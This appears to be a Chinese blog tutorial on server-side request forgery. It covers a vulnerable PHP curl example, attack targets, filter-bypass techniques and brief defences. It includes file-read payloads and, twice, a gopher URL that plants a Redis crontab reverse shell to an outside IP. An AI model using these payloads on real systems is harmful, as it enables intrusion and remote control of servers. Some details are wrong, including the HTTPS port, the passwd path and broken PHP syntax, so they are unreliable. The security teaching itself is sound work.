SSRF初探

简介
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。因为请求是由内部发起的,所以一般情况下,SSRF漏洞攻击的目标往往是从外网无法访问的内部系统
SSRF漏洞形成的原因多是服务器提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,进而导致攻击者可以自由构造参数,而发起预期外的请求
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File
协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害
原理剖析
URL介绍
URL的结构为scheme:[//authority]path[?query][#fragment]
其中authority由3个部分组成[userinfo@]host[:port]
schema
由一串大小写不敏感的字符组成,表示获取资源所需要的协议authority
userinfo
为可选项,一版的HTTP请求都为匿名形式的请求,非匿名的HTTP标准身份认证格式为username:password@host
表示获取的资源的服务器来源,一般都是以域名形式呈现的(实质为DNS协议过的IP地址),也可以直接采用IPv4或者IPv6地址形式port
为服务器端口,各协议都有默认端口,例如HTTP协议为80,FTP为21,HTTPS为43,当采用默认端口时端口号可以省略
path
为指向资源的路径,一般以/进行分层query
为查询字符串,以?起头,然后是一系列以&分割的键值对参数fragment
是片段ID,鱼query不同而但是,其内容不会被传递到服务端,一般用于表示页面的锚点
攻击原理
基于同源策略等方案的采用,为了处理服务中需要跨域的需求,由服务端来获取外界资源是一种主要的解决方式。如果需要获取的资源由用户指定,且用户提供的URL没有经过充分的过滤,那这就意味着我们可以在一定程度上控制服务器发送请求,从而向服务器中传入指定的资源或者访问到只有服务器才能访问到的资源,例如服务器内以及服务器内网中的资源。我们通常可以通过包括但不限于FILE,Gopher协议进行各种各样的SSRf攻击实现多种多样的效果,例如FILE协议读取/etc/password文件内容这样的经典SSRF攻击。
实例
以php为例
<?php
$url = $_GET['url'];
$ch = curl_init()
curl_setopt($ch , CURLOPT_URL , $url);
curl_setopt($ch , CURLOPT_HEADER , false);
curl_setopt($ch , CURLOPT_RETURNTRANSFER , true);
curl_setopt($ch , CURLOPT_FOLLOWLOCATION , true);
$res = curl_exec($ch);
header('content-type:image/pmg');
curl_close($sh);
echo $res;
?>
然后我们传入?url=file:///etc/password
或者?url=dict://127.0.0.1:6379/info
或者?url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
漏洞挖掘
fuzz
SSRF漏洞一般出现在有调用外部资源的场景中,如社交服务分享功能、图片识别服务、网站采集服务、远程资源请求、文件处理服务(如XML解析)等。在fuzz服务器的SSRF漏洞时候,可以尝试是否能控制、支持常见的协议,包括但不限于:
- file://
- dict://
- gopher://
其中用途最广的是gopher协议,详情可以见Gopher协议初探
危险函数
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以PHP为例,涉及到的函数有 file_get_contents()
/ fsockopen()
/ curl_exec()
等。
内网服务
- Apache Hadoop远程命令执行
- axis2-admin部署Server命令执行
- Confluence SSRF
- counchdb WEB API远程命令执行
- dict
- docker API远程命令执行
- Elasticsearch引擎Groovy脚本命令执行
- ftp / ftps(FTP爆破)
- glassfish任意文件读取和war文件部署间接命令执行
- gopher
- HFS远程命令执行
- http、https
- imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
- Java调试接口命令执行
- JBOSS远程Invoker war命令执行
- Jenkins Scripts接口命令执行
- ldap
- mongodb
- php_fpm/fastcgi 命令执行
- rtsp - smb/smbs(连接SMB)
- sftp
- ShellShock 命令执行
- Struts2 命令执行
- telnet
- tftp(UDP协议扩展)
- tomcat命令执行
- WebDav PUT上传任意文件
- WebSphere Admin可部署war间接命令执行
- zentoPMS远程命令执行
Redis
- 写ssh公钥
- 写crontab
- 写WebShell
- Windows写启动项
- 主从复制加载 .so 文件
- 主从复制写无损文件
云主机
在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。
Bypass
更改IP地址写法
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
这种过滤可以采用改写IP的写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
- 8进制格式:0300.0250.0.1
- 16进制格式:0xC0.0xA8.0.1
- 10进制整数格式:3232235521
- 16进制整数格式:0xC0A80001
- 合并后两位:1.1.278 / 1.1.755
- 合并后三位:1.278 / 1.755 / 3.14159267
另外IP中的每一位,各个进制可以混用。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏。
使用解析到内网的域名
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外 xip.io
提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io,解析到192.168.0.1。
利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
比如 http://www.baidu.com@192.168.0.1/
当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com ,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com ,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
利用跳转
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。
常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
通过各种非HTTP协议
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问D盘中1.txt的内容。
如果后端是PHP的话,还可以采用PHP伪协议实施SSRF攻击
DNS Rebinding
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
- 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
- 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
- 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
- 由于已经绕过验证,所以服务器端返回访问内网资源的结果。
利用IPv6
有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。
利用IDN
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和 example.com
等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
防御手段
- 过滤返回的信息
- 统一错误信息
- 限制请求的端口
- 禁止不常用的协议
- 对DNS Rebinding,考虑使用DNS缓存或者Host白名单
Reference
SSRF漏洞分析与利用
A New Era Of SSRF
php ssrf technique
谈一谈如何在Python开发中拒绝SSRF漏洞
SSRF Tips
SSRF in PHP
- Title: SSRF初探
- Author: 7erry
- Created at : 2023-08-11 00:00:00
- Updated at : 2023-09-09 00:00:00
- Link: http://7erry.com/2023/08/11/SSRF初探/
- License: This work is licensed under CC BY-NC 4.0.